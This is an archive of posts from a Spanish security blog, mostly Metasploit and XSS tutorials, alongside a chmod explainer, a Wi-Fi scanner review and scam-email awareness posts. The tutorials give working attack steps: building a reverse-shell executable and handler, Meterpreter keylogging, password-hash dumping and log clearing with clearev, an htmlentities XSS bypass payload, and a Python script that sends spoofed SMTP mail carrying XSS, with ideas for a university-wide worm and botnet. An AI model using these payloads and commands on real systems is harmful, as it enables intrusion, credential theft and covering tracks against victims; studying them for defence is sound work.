miércoles, 26 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter III


  Tercera entrega relacionada con meterpreter en la que empezaremos a conocer comandos que dan más juego que los que hemos visto en anteriores entregas. Desde keyloggers, hasta deshabilitar el teclado de la víctima pasando por hacer capturas de pantalla de su pc.

 Partimos de tener ya una sesión de meterpreter en el equipo de la víctima, vamos a conocer las distintas posibilidades que tenemos :D


Utilizando el keylogger

 Existen unas herramientas conocidas como keyloggers que permiten detectar las pulsaciones del teclado del ordenador. Meterpreter tiene el suyo propio y lo utilizaremos con keyscan.
  Existen tres comandos con keyscan, uno para iniciar, otro para finalizar y otro para volcar en pantalla la información capturada.

[+] Iniciar la captura:
keyscan_start

[+] Volcar la información capturada:
keyscan_dump

[+] Cerrar el keylogger:
keyscan_stop


Ver la pantalla de la víctima

  Antes hemos leer lo que esta escribiendo el atacado, pero, ¿existe la posibilidad de ver lo que está viendo en la pantalla?
  Screenshot es la utilidad que ofrece meterpreter para hacer capturas de pantalla del ordenador víctima y la forma de utilizarlo es muy simple:
screenshot

 acto seguido veremos la imagen de la pantalla:



Desactivar el ratón y el teclado

  Si por algún motivo queremos impedir que el usuario del sistema comprometido utilice el ratón y/o el teclado, existe uictl que permite estas funcionalidades.
  En el caso del teclado, para deshabilitarlo basta con:
uictl disable keyboard
  para volver a habilitarlo bastará con:
 uictl enable keyboard

  En lo que respecta al ratón, para desactivarlo es tan simple como:
uictl disable mouse
  con lo que para activarlo otra vez sería:
uictl enable mouse



Obteniendo las claves hash

  Una vez se ha comprometido el equipo con Metasploit y se posee una sesión de meterpreter, es posible obtener los hash de las claves de los usuarios del sistema contenidos en el archivo SAM (sistema operativo Windows).
La forma de obtener estas claves (en formato hash) es con hashdump:
hasdump


Viendo los privilegios

  Para ver los privilegios con que contamos en el equipo comprometido podemos utilizar getprivs:
getprivs


Limpiar el rastro 

  Por último, antes de "desaparecer" de la maquina atacada conviene limpiar nuestro rastro, para ello contamos con clearev:
clearev



  Con esto concluyo la entrada, en las próximas conoceremos las interesantes posibilidades que nos ofrece el comando run de meterpreter, nos leemos en breve ;)


5 0verl0ad Labs: 2012   Tercera entrega relacionada con meterpreter en la que empezaremos a conocer comandos que dan más juego que los que hemos visto en anterio...

martes, 18 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter II


  En la pasada entrada de Metasploit vimos como llegar a obtener una consola de meterpreter en un sistema atacado, viendo ademas la forma en que era posible manejar sus sesiones. En la que nos ocupa veremos los comandos básicos a utilizar una vez se ha accedido ya al sistema comprometido.

Trabajando con procesos

  Meterpreter pone en la mano del atacante la posibilidad de cambiar su PID, es decir migrar a otro identificador de proceso distinto. Esta tarea la realiza gracias al comando migrate:
migrate <numero de proceso>

  Pero, ¿cómo sabemos a que proceso migrar o como podemos ver los procesos que están en ejecución? la respuesta nos la da la orden ps que nos mostrará el listado de proceso:
ps

 Si queremos comprobar el identificador de proceso actual de meterpreter (por ejemplo si acabamos de migrar a otro proceso y queremos comprobar que lo ha realizado correctamente) existe la orden getpid:
getpid



Directorios y ficheros

  Para ver el directorio actual en el que nos encontramos (en la máquina de la víctima) tenemos getwd:
getwd

También es posible listar los elementos existentes en el directorio mediante el comando ls:
ls

  Meterpreter permite editar ficheros del equipo de la víctima mediante el gran editor vi, para ello utilizaremos edit:
edit <nombre del fichero>



 Si en cambio solo queremos ver el contenido de fichero cat es nuestra elección:
cat <nombre del fichero>

  En ocasiones es muy probable que el atacante quiera descargar información de la víctima o subir algún archivo al sistema de ésta, para ello existen las ordenes download y upload respectivamente que permiten realizar estas tareas:
download <nombre del fichero>


upload <nombre del fichero>



Información de sistema

  Para ver el usuario con el que hemos accedido al equipo, podemos utilizar getuid:
getuid

  Si en cambio queremos conocer información del sistema que hemos "invadido" (como atacantes), podemos utilizar sysinfo:
sysinfo



Redes

  Meterpreter permite obtener información de la tarjeta de red de la víctima como si nos encontrásemos en ese mismo ordenador, para ello existen varios comandos que veremos a continuación.

  Para ver las tarjetas de red del equipo podemos utilizar ipconfig:
ipconfig

  Para cerrar existen otros comandos muy útiles como arp y route:
arp

route 



 Antes de cerrar la entrada quiero compartir una pequeña reflexión sobre su contenido, ya que entiendo que es muy esquemático, casi a modo de manual, pero entended que es necesario conocer las ordenes básicas antes de empezar a "jugar" como haremos en los siguientes  capítulos ;)

Nos leemos en breve

5 0verl0ad Labs: 2012   En la pasada entrada de Metasploit vimos como llegar a obtener una consola de meterpreter en un sistema atacado, viendo ademas la forma e...

jueves, 13 de diciembre de 2012

Los "oscuros números" de chmod




  Después de haber llamado vuestra atención con este título tan peculiar vuelvo a escribir para hablar de los números que acompañan al comando chmod encargados de asignar los permisos de usuario.
  Para los que no entendáis mi explicación aquí tenéis un ejemplo:
chmod 777 miFichero
  Este número 777 es el que voy a explicar de donde procede y como calcularlo en función de los permisos que queramos asignar.

  El número está compuesto por tres cifras XXX, la primera hace referencia a los permisos del usuario, la segunda a  los del grupo y la tercera cifra a los permisos de otros.
  Cada una puede tomar valores entre 0 y 7 otorgando distintos permisos en función  del número escogido.
0 = Ningún permiso
1 = Ejecución
2 = Escritura
3 = Escritura y ejecución
4 = Lectura
5 = Lectura y ejecución
6 = Lectura y escritura
7 = Lectura, escritura y ejecución
Pero, ¿cómo los calculamos(cada cifra se calcula por separado)?
r = lectura 
w = escritura
x = ejecución
r     w     x
---------------
0     0     0                 =>  0
0     0     1                 =>  1
0     1     0                 =>  2
0     1     1                 =>  3
1     0     0                 =>  4
1     0     1                 =>  5
1     1     0                 =>  6
1     1     1                 =>  7


Veamos algunos ejemplos para grabar con fuego que complementen lo explicado:
  • Otorgarle al fichero "miFichero" permisos de lectura y escritura para el usuario, le ejecución para el grupo y ninguno para otros usuarios.
    chmod 610 miFichero 
  • Otorgarle al fichero "miFichero" permisos de lectura y escritura para el usuario, para el grupo de lectura y para otros de lectura también.
    chmod 644 miFichero
  • Otorgarle al fichero "miFIchero" todos los permisos al usuario y ninguno al resto, tango al grupo como a otros.
    chmod 700 miFichero
Con estos ejemplos concluyo la entrada, nos leemos en breve :D.

NOTA: Leed los comentarios del post que hay información muy interesante que complementa el contenido de éste :D.

5 0verl0ad Labs: 2012   Después de haber llamado vuestra atención con este título tan peculiar vuelvo a escribir para hablar de  los números que acompañan al...

lunes, 10 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter I


  Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con Meterpreter.

Pero, ¿qué es Meterpreter?  Según la web de metasploit unleashed y de forma muy resumida es:
Meterpreter is an advanced, dynamically extensible payload 
 Para mas información recomiendo muy encarecidamente que repaséis la web que he comentado antes ;) .

  Ésta herramienta permite, una vez se ha obtenido acceso al equipo de la víctima, realizar muy diversas acciones como son descargar ficheros, escalar privilegios, utilizar un keylogger o activar la webcam entre otras muchas posibilidades que veremos a lo largo de las entradas que compondrán esta subsaga.


  Lo primero que haremos será crear un ejecutable con un payload de meterpreter contenido como se ha hecho en otras ocasiones, para ello utilizaremos msfpayload:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.108 LPORT=31337 X > payload.exe
  Los parámetros importantes de la anterior orden y que se utilizarán posteriormente en el handler (veremos después que es esto) son los siguientes:
     [-] windows/shell_reverse_tcp  => El payload escogido.
     [-] LHOST=192.168.0.108  => La IP del equipo donde está ejecutándose Metasploit.
     [-] LPORT=31337  => El puerto en el que Metasploit está escuchando peticiones.


Lo que hará el binario creado es, una vez sea ejecutado, intentara conectar en la IP y puertos especificados y ofrecernos una shell inversa.

  NOTA: En esta entrada supondremos que la víctima ejecuta el archivo payload.exe, la forma de que ésta lo haga o de evadir los antivirus no la trataremos pues ya hemos hablado de ello en otras ocasiones.


  El siguiente paso es poner a Metasploit escuchando posibles conexiones de la víctima, para ello lo lanzamos con el clásico:
msfconsole

y preparamos el handler, su funcionalidad es esperar conexiones del payload especifico, en el puerto e IP especificados:
use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.0.108set LPORT 31337exploit
 Donde:
     [-] use multi/handler => Seleccionamos el handler.
     [-] set PAYLOAD windows/meterpreter/reverse_tcp => El payload escogido anteriormente en la creación del binario que enviamos a la víctima.
     [-] set LHOST 192.168.0.108 => Nuestra IP donde está el handler escuchando, es el mismo que hemos especificado anteriormente en la creación del ejecutable enviado a la víctima.
     [-] set LPORT 31337 => El puerto en el que Metasploit estará escuchando peticiones. Debe ser el mismo que el escogido en el ejecutable enviado a la víctima.
     [-] exploit => Lanza el handler.


  Una vez lanzado esperará a que la víctima ejecute el binario (payload.exe) para que éste establezca conexión con nosotros. Una vez lo haga obtendremos una shell de meterpreter (el prompt cambiará).


  Puesto que nos encontramos en un post de introducción veremos los comandos básicos, en próximas ediciones veremos cosas mas interesantes, pero primero es necesario conocer estas ordenes pues nos serán de utilidad en cosas más avanzadas.


Sesiones en Metasploit

 En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:
sessions -l
 Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:
sessions -i <Id de la sesión>

  Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades:
Si estamos dentro de una sesión:
        quit
Sino estamos dentro de ninguna sesión:
        sessions -k <Id de la sesión>

  Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.




 Enviar una sesión a segundo plano

  Por determinados motivos puede ser necesario mandar la sesión actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando:
background



Ayuda 

  Tanto si estamos en Metasploit como dentro de una sesión meterpreter existe una orden que nos mostrará los posibles comandos a ejecutar:
?


  Con todo esto cerramos esta primera entrada a modo de introducción, en las siguientes ya iremos "escavando" en las posibilidades que ofrece meterpreter.

Nos leemos en breve ;)

5 0verl0ad Labs: 2012   Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con  Meterpreter . Pero, ¿qué es Meterpreter?  Según...

jueves, 6 de diciembre de 2012

Htmlentities no es la panacea

Saludos.


    Echando un ojo a los posts de Flu-Project (donde @Aetsu colabora todas las semanas) vi un post donde daban algunas directivas para prevenir XSS en distintas plataformas, cosa que está muy bien, ya que muchas veces nos centramos en el ataque y nos olvidamos de la mitigación. En general el post está muy bien y es recomendable, porque recomiendan varias formas, y no se quedan sólo con el htmlentities.


     Al ver esepost, empecé a indagar un poco, y me di cuenta que en muchos sitios recomiendan en uso de htmlentities para evitar desgracias, como si fuese la panacea. Te dicen que haces un htmlentities($_GET['var']) y ¡puf!, ya está todo resuelto. Y no es oro todo lo que reluce.


               Si nos vamos a la documentación de PHP podremos ver que "Por defecto es ENT_COMPAT | ENT_HTML401.", lo que significa que:



ENT_COMPAT Convertirá las comillas dobles y deja solo las comillas sencillas.



   Osea, que si hacemos símplemente htmlentities($variable), vamos a permitir que las comillas simples continúen ahí, lo que probablemente sea un impedimento para mucha gente, pero sigue siendo vulnerable. Por ejemplo:

<?php
$var = htmlentities($_GET['test']);
echo "<input type='text' value='$var' />";
?>
  En primera instancia parece que estamos evitando que nos roben las galletas, hacemos un htmlentities y todos felices... ¿o no? Al poder meter comillas simples, podemos romper el value='__' y meter algún evento con el que ejecutar JavaScript:

foo' onblur=alert(/0verl0ad/) autofocus='autofocus

    Byt3z
5 0verl0ad Labs: 2012 Saludos.     Echando un ojo a los posts de Flu-Project (donde @Aetsu colabora todas las semanas) vi un post donde daban algunas directiv...

miércoles, 5 de diciembre de 2012

Buscando redes con inSSIDer -- Windows && Android

  Hoy conoceremos inSSIDer, una aplicación para obtener información de redes inalámbricas bajo Windows y que conocí gracias al señor @a5rojo un día que íbamos a realizar cierta POC... ... ...

  Dicha aplicación nos muestra datos sobre las redes que tenemos alrededor como puede ser su canal, su cifrado, intensidad y un largo etc todo esto de forma muy bonita y con solo pulsar un simple botón.

 Para descargarla basta con dirigirnos a la web de los desarrolladores:
http://files.metageek.net/downloads/inSSIDer-Installer-2.1.6.1394.msi

Su instalación es rápida y en breve estaremos frente a su intuitiva interfaz:


  En la parte superior veremos las redes junto con su ESSID, BSSID, intensidad, cifrado... y en la parte inferior (pestaña Time Graph) en forma de gráfica las variaciones de señal sobre los distintos puntos de acceso.

  Las dos pestañas siguientes permiten ver las redes que se encuentran en el espectro de los 2.4 GHz y 5 GHz respectivamente mostrando una gráfica en función de la intensidad con que son recibidas:


  Además la aplicación ofrece opciones de filtrado y clasificación de las redes en función de la información que se desee mostrar por pantalla, así como también, opciones para interactuar con el GPS (que no dispongo y no he podido probar :D ).


  Pero aquí no acaba todo, pues existe una versión para MAC OS X (que no voy a analizar) y para Android, ambas gratuitas.

  La del sistema operativo del robot verde la podemos descargar desde Google Play:


https://play.google.com/store/apps/details?id=net.metageek

 Su interfaz es distinta respecto a la versión de escritorio, aunque la información que nos muestra es similar. Desde ESSID, BSSID, canal, intensidad...

  En la primera de sus pestañas (Networks) vemos información sobre las redes que hay en su alcance y si estamos conectados a una una pequeña gráfica sobre su señal:


  Las sucesivas pestañas muestran lo saturados que están los canales (channels) e información sobre los espectros de 2.4 GHz y 5GHz de forma similar que su versión mayor y de forma muy resultona:




 En resumen, una aplicación interesante, fácil de utilizar y gratuita que permite ver que se cuece a nuestro alrededor.

Nos leemos en breve (si tengo tiempo) :D

5 0verl0ad Labs: 2012   Hoy conoceremos  inSSIDer , una aplicación para obtener información de redes inalámbricas bajo  Windows  y que conocí gracias al señor  @a...

viernes, 30 de noviembre de 2012

Coqueteando con Metasploit: Módulo psnuffle


  Este es el primero(pese a que anteriormente ya se ha tocado el tema ;) ) de lo que es seguramente será una serie de post sobre Metasploit y herramientas asociadas a éste (Msfencode, MSFpayload...) con la finalidad  tener en el blog una guía de referencia de las posibilidades que dichas aplicaciones ofrecen. Cada entrada tendrá distinta longitud y tocará desde  POC comunes como ataques sobre un XP SP2 a secciones menos conocidas o comentadas como son algunos módulos auxiliares.

  Con esta pequeña introducción ya tenemos lo necesario para empezar con lo divertido, el módulo de Metasploit psnuffle :D.


 Psnuffle es un sniffer que permite, de forma sencilla capturar datos de los protocolos POP3, IMAP, FTP y HTTP (solo peticiones GET y no HTTPS). Para acceder a él basta con:
use auxiliary/sniffer/psnuffle
La información de este módulo es accesible mediante
info 
y permite configurar parámetros como filtros, la interfaz para capturar tráfico o los protocolos a utilizar entre otros.


 Una vez realizadas las configuraciones pertinentes (no son necesarias para su funcionamiento, solo para obtener más precisión el la captura) para iniciar el sniffer es tan simple como escribir
run

  Conforme se vayan capturando datos de los distintos protocolos se irán mostrando por pantalla:


  En resumen, un módulo simple que no llega a los niveles de otros sniffer más potentes como Wireshark Ettercap pero puede ser útil para determinados momentos.

 Para completar el contenido de la entrada el siguiente  vídeo del desarrollador muestra las funcionalidades del módulo:



Además de estos enlaces a modo de fuente e información extra:
Metasploit Unleashed => https://www.offensive-security.com/metasploit-unleashed/Password_Sniffing 
MAX's blog (blog del desarrollador)
 => http://remote-exploit.blogspot.com.es/2009/08/psnuffle-password-sniffer-for.html


Con todo esto es hora despedirse, nos leemos en breve ;)

5 0verl0ad Labs: 2012   Este es el primero(pese a que anteriormente ya se ha tocado el tema ;) ) de lo que es seguramente será una serie de post sobre Metasploit...

jueves, 29 de noviembre de 2012

Estafas por correo electrónico [Parte II]

Saludos,


   Últimamente estoy poco creativo, y entre que tengo que hacer varios trabajos para la uni antes de que acabe el cuatrimestre y que estoy viciadete al Chivalry: Medieval Warfare, no se me ocurre sobre qué escribir. Asi que he mirado el correo del blog a ver si nos habían enviado alguna estafa más, y sí, una nueva.


    En este caso nos ha tocado la de la chica soltera que quiere cambiarse de país, y quiere conocernos. Tristemente no ha sido la típica rusa pechugona, como alguien mencionó en el anterior post. Aquí el correo:


My Dear

How is everything over there in your country and the day, i believe you are having a nice moment and that the atmosphere over there in your country is very nice today? Mine is a little bit warm over here in Burkina-faso .

My name is Miss yak ruth i am 24 years old but age doesn't matter in a real relationship. I am from Liberia in west Africa, I’m 5.8ft tall, light in complexion, very attractive, single, (never married) and presently living in the refugee camp here in Burkina-faso as a result of the untimely death of my beloved parents by rebels. My hobbies are tennis,swimming, reading and homemaking.

My late father Dr.Johnson Abbe who was the chairman managing director of ABBE'S COCOA INDUSTRY LTD, in Monrovia , he was also the personal adviser to the former head of state, before the rebels attacked our house one early morning and killed my mother and my father in cold blood. It was only me that is alive now and I managed to make my way to a near by country Burkina-faso where i am leaving now as a refugee under a Reverend father's care an i am using his computer to send these message to you. I will plead with the Reverend Pastor of the church to allow me receive calls from you so that i can give you the telephone number of the church to call me so that we can talk more about ourselves.

I would like to know more about you. Your likes and dislikes your hobbies and what you are doing presently. I will tell you more about myself in my next mail with my picture attach. Hoping to hear from you soonest.

Your's forever,

Miss yak ruth.


No sé si contestar al correo para que me mande una foto de google, o no.  Sería divertido empezar a investigar y tirar del hilo de todas estas estafas, a ver qué aprendemos. De todas formas, señores que se dedican a las estafas: España está en crisis. Nadie quiere venir aquí, no lo pongais en los correos.

   Por otra parte a mi correo personal (parece que se ha filtrado alguna DB) me está llegando día sí y día también un correo desde una empresa, diciendo que ha visto mi CV en una web y quiere contactarme. Todo eso con un sospechoso archivo adjunto. Yo no sé nada de malware ni de binarios, pero si a alguien le gusta este tema y quiere el archivo para destriparlo que me avise y le reenvío el correo.
5 0verl0ad Labs: 2012 Saludos,    Últimamente estoy poco creativo, y entre que tengo que hacer varios trabajos para la uni antes de que acabe el cuatrimestre y...

jueves, 22 de noviembre de 2012

Estafas por correo electrónico [Parte I]

Saludos,


        Soy de la opinión de que todos los blogs de seguridad informática deberían de hablar un poco sobre las estafas más comunes que se dan en la red, sobre todo porque de esta forma más gente podrá tener conocimiento sobre ellas y podremos prevenir que nuestro padre, primo, amigo caiga en estas trampas. Asi que cada X tiempo (probablemente conforme me lleguen al mail estafas) haré un post explicando unas pocas. Como ya dije por twitter esta mañana, por fin nos ha llegado nuestro primer nigeriano al buzón de entrada. Sí, nos han desvirgado el correo ya.


Phishing, scams y suplantación de la identidad en general

     Un clásico entre los clásicos. Se tratan de correos que intentan suplantar un origen en el que confía el usuario. Por ejemplo, un correo electrónico haciendose pasar por tu banco, reclamando que por motivos de seguridad tienes que darles algunos datos privados.  

      Como normal general NUNCA, bajo ningún concepto se deben de enviar tus datos privados por correo. Y muchos menos contraseñas, o datos bancarios.

     A la práctica de suplantar se la conoce como "phishing". Normalmente se suelen emplear correos electrónicos desde los que se envía con un cierto parecido a la entidad que desean imitar, usando por ejemplo el mismo dominio pero con alguna falta ortógrafica. También es común que dentro de éstos aparezcan links que enlazan a sitios donde, bajo cualquier pretexto (por ejemplo poder ver un recurso, o autenticarte en tu banco) piden que ingreses los datos que el timador necesita. Estas webs son controladas por el atacante, y se les suelen llamar "scams".

          Este tipo de estafa se hizo altamente popular entre los lammers que intentaban robar cuentas hotmail, a través de estos scams que recibían el nombre de "Xploits" (sin la E). Seguro que todos tenemos casos cercanos.

   Para prevenir estas estafas hay que estar muy atentos a la URL, y nunca hacer click en los enlaces que vienen en el mail. Si deseamos visitar (porque tras estudiarlo creemos que es legítimo) el enlace, lo haremos copiando y pegándolo en la barra de herramientas.



El timo nigeriano

     Este timo consite en pedirte ayuda alegando alguna historia de lo más variopinta, en la cual por algún motivo rocambolesco hay una gran fortuna que no puede moverse a menos que tú, jóven altruista, entregues cierta cantidad de dinero para pagar portes, cargos, o lo que se invente el timador. Lógicamente la cantidad que te piden pagar es ínfima en comparación a lo que puedes ganar. Si picas en la carnaza, y das dinero, olvidate, porque jamás verás ni un céntimo. Como decía mi madre, "nadie da duros a 4 pesetas". Si te llegan correos sobre un príncipe, o un famoso, que requiere de tu dinero, bórralo. En nuestro caso, este ha sido el correo que nos ha llegado:

YOUR CO-OPERATION NEEDED PLEASE,
 From: Dr sulei msulei,
 Ouagadougou, Burkina Faso.
 Dear Friend,

 Compliment of the season to you; this message might meet you in
 utmost surprise. However, it's just my urgent need for foreign
 partner that made me to contact you for this transaction I am a
 banker by profession from Burkina Faso in West Africa and currently
 holding the post of manager auditing and accounting unit of the
 bank. I have a business proposal of Ten Million ($10.000.000.00)
 United States Dollars which I want you to handle with me from my
 bank as the beneficiary to the fund.

 This fund is the balance deposit by one of our late customer from
 France Mr. Paul Louis Halley, he was an importer/exporter and a
 shareholders in telecommunication here in Burkina Faso. Firstly, you
  will have to open communication with our bank by applying for the
 claim as the (beneficiary) to the fund, I shall be directing you on
 process to get this fund transfer into your account after applying.
 All expenses incurred by you and me in this transaction will be
 deducted out from 5% of the total fund before the sharing of the
 money in ratio of 50/50.

 From banking experience it will take up to fourteen (14) working
 days to conclude this transfer, also this fund can be transfer to
 you in any form of your choice. This matter should be a confidential
  between you and me and please delete it if you are not interested;
 If you are interested, please send me your full contact information
 as below and thereafter I will send to you TEXT OF APPLICATION FORM
 to apply for the fund. I will appreciate your kind gestures towards
 this fortune, may the Almighty God who provide for everyone bless you.

 Incident
 site:http://newswww.bbc.net.uk/2/hi/uk_news/england/oxfordshire/4537663.stm

 1. Full name:.........
 2. Current Address:........
 3. Telephone N°:...........
 4. Occupation:.............
 5. Age:............
 6. Country:........
 Yours

  Dr:
sulei msulei,


Muleros

    Un mulero, en cualquier tráfico ilegal, es quien mueve el producto de un punto a otro. En el caso de las estafas online, lo más habitual es que los muleros se encarguen de mover dinero ilegal hacia sus propias cuentas. Normalmente te ofrecen una gran suma de dinero por, básicamente, tocarte los huevos en tu casa. Únicamente tienes que coger un dinero que te dan, meterlo en tu cuenta bancaria, y enviarlo a otra cuenta bancaria. Y sólo por eso te llevas un buen pellizco.

  Como es lógico, no puedes estar ganando dinero sin hacer nada de forma legal. En general, para evitar cualquier estafa, ten en cuenta que ganar dinero rápidamente y sin hacer nada, es imposible.


La multa de la Policia


   Este timo puede aparecerte o bien por e-mail, o de forma un poco más ruda, como virus que te bloquea el PC (esto último le pasó a mi compañero de piso el año pasado x'D). Básicamente te hacen saber que has cometido algún delito, normalmente relacionado con internet (ver peliculas porno con copyright, descargar videos pederastas, música protegida por la SGAE, etc.), y que si pagas una cantidad de dinero a través de paypal u otro sistema de pago (también puede ser un ingreso a un nº de cuenta), todo se olvida y nadie sabrá que te has descargado ese contenido ilegal.


  Si te llega algún e-mail de la policía, omitiendo la parte obvia de que no te pueden denunciar vía correo electrónico, o bloqueando tu ordenador,  lo primero que debes de hacer es ponerte en contacto con ella y aclarar si se trata de algo real, o de una estafa.



Continuaré poniendo más casos, conforme nos lleguen al e-mail

PD: Aquí os dejo un post con un ejemplo de estafa, proporcionado por Daniel Maldonado  => http://www.caceriadespammers.com.ar/2012/11/enganos-por-email.html
    

5 0verl0ad Labs: 2012 Saludos,         Soy de la opinión de que todos los blogs de seguridad informática deberían de hablar un poco sobre las estafas más comun...

martes, 20 de noviembre de 2012

Ampliación de "Un Ejemplo Universitario"

Saludos,

     Antes de que @Aetsu publicara su último post acerca de las múltiples vulnerabilidades que había en la nueva interfaz de su universidad, estuvimos charlando sobre las posibilidades que ofrecía. Los que llevais ya cierto tiempo leyendo mi blog sabeis que no puedo quedarme tranquilo sólo con el ataque básico, sino que intento ampliar la perspectiva y aumentar la profundidad del ataque.  ¿Para qué quedarte con un XSS cuando puedes hacer un XSS Worm?



     En eso fue lo primero que pensé. Montar un worm que se expandiera de forma automática, y así poder tener el máximo número de personas infectadas. Ya hicimos un XSS worm sencillo a modo de PoC en su momento. En este caso no sólo podrías robar sus cuentas, lo que sería muy jugoso para leer los correos de la cúpula de gobierno (Rector, vices, y Decanos y vices,), sino que como bien dijo Aetsu se podría crear una botnet, y usarla por ejemplo para hacer spam masivo (¿Por cuanto se venden los bots?).

    En casi todas las universidades existe un apartado con el nombre de "Directorio" (o algo similar) que permite a los alumnos y profesores poder localizar el correo electrónico de un alumno o profesor a su vez, para poder ponerse en contacto. Una cosa muy útil. Sobre todo para hacer el mal. A parte de poder encontrar un correo asociado a un nombre concreto, se pueden hacer búsquedas con 3 caracteres para que te muestren todos los correos cuyo nombre real coincida:





       En primer lugar, como ya se mencionó en el post anterior, el servidor SMTP permite el spoofing de correo, luego esto nos da un poder de ingeniería social abrumador. En un entorno universitario, es común que los profesores envíen PDFs a sus alumnos mostrando por ejemplo el horario de las prácticas y la distribución de grupos. ¿Qué impediría a un usuario malintencionado buscar los correos de los alumnos de un profesor concreto, y después enviarles un PDF infectado usurpando la dirección del profesor? Absolutamente nada.

      Además, estas bases de datos de nombres, departamentos, alumnos que tienen la mayoría de las universidades nos permiten hacer un ataque de fuerza bruta bastante sencillo de implementar para poder tener todas las direcciones de correo. Estoy seguro que esa información es muy valiosa para las mafias del SPAM :)

      Esta base de datos que hemos sacado vía fuerza bruta, junto con el XSS, nos permitiría poder dirigir correctamente la expansión del worm, ya que estaríamos seguros de que todos los correos afectados serían de la misma universidad, y además podríamos ver a quien corresponde cada correo electrónico infectado.


    Por último, a modo de daño colateral se podría hacer un DoS al servidor de correo, como a ocurrido con otros worms (véase el caso de Samy), ya que al ponerse en marcha, si no se limita el número de correos a enviar, podremos sobrecargar el servidor.




 
5 0verl0ad Labs: 2012 Saludos,      Antes de que @Aetsu publicara su último post acerca de las múltiples vulnerabilidades que había en la nueva interfaz de su u...

Los peligros de un XSS - Un ejemplo universitario: Ronda final

 Tercera y (espero) última entrega de "Los peligros de un XSS - Un ejemplo universitario".


Recapitulemos:

  Como vimos en episodios anteriores, existía una vulnerabilidad XSS en el sistema de mensajería interna de la universidad mediante el cual se podían ejecutar código Javascript en el navegador de quien recibiera y abriera el mensaje. Este "pequeño" fallo fue corregido de forma parcial limitando el uso de las etiquetas <script></script>, pero durante los hechos del segundo capítulo se comprobó que esta medida era insuficiente y gracias a la ayuda de un Cheat Sheet se conseguía saltar el sistema de filtrado.


Una vez rememorados los mejores momentos de los anteriores capítulos veamos que aventuras nos ofrece el cierre de la trilogía. En la universidad además del sistema de mensajería interno, existe un correo asociado a cada usuario utilizado por todos varias veces al día. A dicho correo (a no ser que sea redirigido) se le puede acceder por dos interfaces web, una clásica (segura)  y otra más nueva (MUERTE!!) no tan fiable.

  Estando ya en situación, imaginemos que existiera, como en anteriores ocasiones una vulnerabilidad XSS a la hora de leer un correo, esto sería mucho más peligroso (más adelante veremos los motivos) debido entre otras cosas al mayor uso que tiene este servicio respecto al otro. Pero NO, el problema no está ahí (por desgracia), la cosa es mucho mas sería ya que es el asunto del correo electrónico el que permite ejecutar Javascript, con lo que basta con cargar la interfaz, que compruebe nuevos correos y BUM!!! se ejecuta cualquier cosa que haya en el asunto:


 En esta bonita interfaz, mandamos un correo a nuestro nombre al desafortunado destinatario. Como hemos dicho en el asunto escribiríamos algo como:
<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">
 asumiendo siempre que queremos ejecutar un alert ;)

Nota: El significado de esta sentencia esta explicado en la entrega anterior.

  El desafortunado receptor, al abrir su bandeja y recibir el correo, verá impotente como su navegador muestra una ventana con (siguiendo el ejemplo) un 2 (además de mostrar al sensual David Hasselhoff ;)).



  Para un atacante, en anteriores casos, tenia que apropiarse de una cuenta ajena para salir bien parado de un ataque de este tipo, pero ahora, además de ser mas peligroso, existe la posibilidad de conectarse al servidor SMTP del correo y mandar mensajes de forma totalmente anónima (por este motivo es más peligroso que los anteriores).

   Para hacer tal tarea tendrá que seguir una serie de pasos:
telnet IP 25
una vez haya establecido la conexión:
MAIL FROM: emisor@dominio
dónde caca@dominio es el falso emisor.
RCPT TO: receptor@dominio
y  receptor@dominio es el receptor del mensaje (debe de ser auténtico).
DATA
es el cuerpo del mensaje y donde escribiremos el código Javascript de la siguiente forma:
Subject: <img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)"> 
 sabiendo que Subject es el asunto del mensaje.
Para finalizar se escribe un punto:
.
 y ya podemos cerrar la conexión con:
QUIT
Esto da la posibilidad a ataques anónimos.




Si todo esto no es suficiente peligroso, añadamos un script con un bucle para que enviara un correo a X personas y si se juntase con BeEF (como se vio en el post anterior) se podría montar una bootnet de grandes dimensiones.

 El script podrías ser una modificación de este:

#!/usr/bin/env python
import telnetlib

servidor = "IP"
asunto = '<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">'

t = telnetlib.Telnet(servidor, 25)
t.read_some()
t.read_some()
t.write("MAIL FROM: emisor@dominio")
t.write("\n")
t.read_some()
t.write("RCPT TO: receptor@dominio")
t.write("\n")
t.read_some()
t.write("DATA")
t.write("\n")
t.read_some()
t.write('Subject: ' + asunto)
t.write("\n")
t.write(".")
t.write("\n")
t.read_some()
t.read_some()
t.close()


  Este script con algunas pequeñas modificaciones junto con alguien con oscuras intenciones podría llegar a ser muy peligroso, con lo que cerraremos el post con un par de complementos para nuestro navegador que ayudarán a prevenir este tipo de ataques:

[+] Google Chrome / Chromium 
     [-] ScriptNoPermite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
     [-] FlashBlock: Igual que el anterior pero referido a flash.

[+] Firefox / Iceweasel
    [-] NoScript:  Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
    [-] FlashblockIgual que el anterior pero referido a flash.


Y con este par de recomendaciones, concluimos la trilogía, nos leemos en breve ;)


Nota I: Información de SOGo =>  http://www.sogo.nu/about/overview.html
Nota II: Python y Telnet =>  http://docs.python.org/2/library/telnetlib.html


*****************************************************
*****************************************************



5 0verl0ad Labs: 2012  Tercera y (espero) última entrega de  "Los peligros de un XSS - Un ejemplo universitario" . Recapitulemos:   Como vimos ...
< >